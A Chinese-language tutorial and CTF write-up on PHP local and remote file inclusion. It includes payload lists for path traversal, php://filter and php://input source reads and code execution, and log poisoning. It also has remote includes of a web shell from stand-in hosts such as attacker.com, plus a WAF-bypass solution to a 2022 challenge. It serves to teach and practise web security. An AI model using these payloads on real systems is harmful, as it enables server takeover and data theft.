文件包含2
远程文件包含与本地文件包含的区别
对比
对比项 | 本地文件包含(LFI) | 远程文件包含(RFI) |
---|---|---|
定义 | 攻击者包含服务器本地的文件 | 攻击者包含远程服务器(如HTTP/FTP)上的文件 |
依赖条件 | 不需要特殊配置 | 需要allow_url_include=On (PHP) |
常见利用方式 | 1. 读取敏感文件(/etc/passwd )2. 日志文件注入 3. PHP包装器( php://filter ) | 1. 包含远程恶意脚本(http://evil.com/shell.txt )2. 直接执行远程PHP代码 |
危害 | 1. 敏感信息泄露 2. 可能升级为RCE(如日志注入) | 1. 直接远程代码执行(RCE) 2. 完全控制服务器 |
防御难度 | 较容易(禁用危险函数+输入过滤) | 较难(需关闭远程包含功能) |
示例Payload | ?file=../../etc/passwd ?file=php://filter/convert.base64-encode/resource=index.php | ?file=http://attacker.com/shell.txt ?file=data://text/plain,<?php system('id');?> |
例子对比
本地文件包含(LFI)
源代码的关键代码
include($_GET['file'] . '.php');
【这个代码对参数进行了处理,即在参数后面增加了一个.php的后缀,这就是将任何参数都转为了一个php文件】
攻击者的payload
?file=../../etc/passwd%00 # 读取系统文件
?file=php://filter/convert.base64-encode/resource=config.php # 读取PHP源码
远程文件包含(RFI)
源代码的关键代码
include($_GET['url']); // 未过滤直接包含远程文件
攻击者的payload
?url=http://evil.com/shell.txt # 包含远程Web Shell
?url=data://text/plain,<?php system("ls");?> # 直接执行代码
根据这两个例子的对比就可以看到其实二者从源代码其实是很难分辨出来,但是对于传入的payload却是有所不同的
本地文件包含的payload主要是文件路径(../../ )和php包装(php://)
远程文件包含的payload主要是url协议(比如:http:// 或 ftp://等)
payload
LFI典型Payload示例
(1) 读取敏感文件
?file=../../../../etc/passwd
?page=/var/www/html/config.php
(2) 路径遍历绕过
?file=....//....//etc/passwd # 双重编码绕过
?file=%2e%2e%2fetc%2fpasswd # URL编码
(3) PHP包装器利用
?file=php://filter/convert.base64-encode/resource=index.php # 读取PHP源码
?file=php://input # 通过POST传入代码
[POST DATA]: <?php system("id");?>
(4) 日志文件注入
?file=/var/log/apache2/access.log
# 需先通过User-Agent或Referer注入PHP代码
(5) Null字节截断 (PHP < 5.3.4)
?file=../../etc/passwd%00 # 截断后缀
RFI典型Payload示例
(1) 基本远程包含
?file=http://attacker.com/shell.txt
?lib=ftp://evil.net/cmd.php
(2) 自动附加后缀的绕过
?file=http://attacker.com/shell.txt? # 问号截断
?file=http://attacker.com/shell.txt%00 # Null字节截断
(3) data协议利用 (伪RFI)
?file=data://text/plain,<?php system("id");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+
(4) 结合短标签
?file=http://attacker.com/shell.txt&cmd=id
# shell.txt内容: <?=`$_GET[cmd]`?>
做个题
[鹏城杯 2022]简单包含
打开环境后得到的源码
这里看到直接告诉了flag的位置, 那么就猜测是一个 本地文件包含
直接去访问这个文件竟然输出waf
那看来这个有问题
试试php伪协议
在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参
还是不行,去访问一下index.php看一下源码
去base64解码
得到源码
<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {Secho 'nssctf waf!';
} else {@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
这里的关键代码就是if语句那一段
大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出“nssctf waf!”
这里拓展两个知识
与常见输入方法的对比
方法 | 获取内容 | 数据格式 | 大小限制 |
---|---|---|---|
php://input | 原始请求体 | 原始二进制/文本 | 无 |
$_POST | 解析后的表单数据 | 数组 | 受限于 post_max_size |
$_GET | URL 查询参数 | 数组 | URL 长度限制 |
$HTTP_RAW_POST_DATA | 原始 POST 数据(已弃用) | 原始数据 | 无 |
file_get_contents()函数
该函数的作用是将某文件读取为字符串
比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。
那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议
我的payload
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php
或者直接访问源代码所给的文件路径
得到的编码进行base64解码就可以了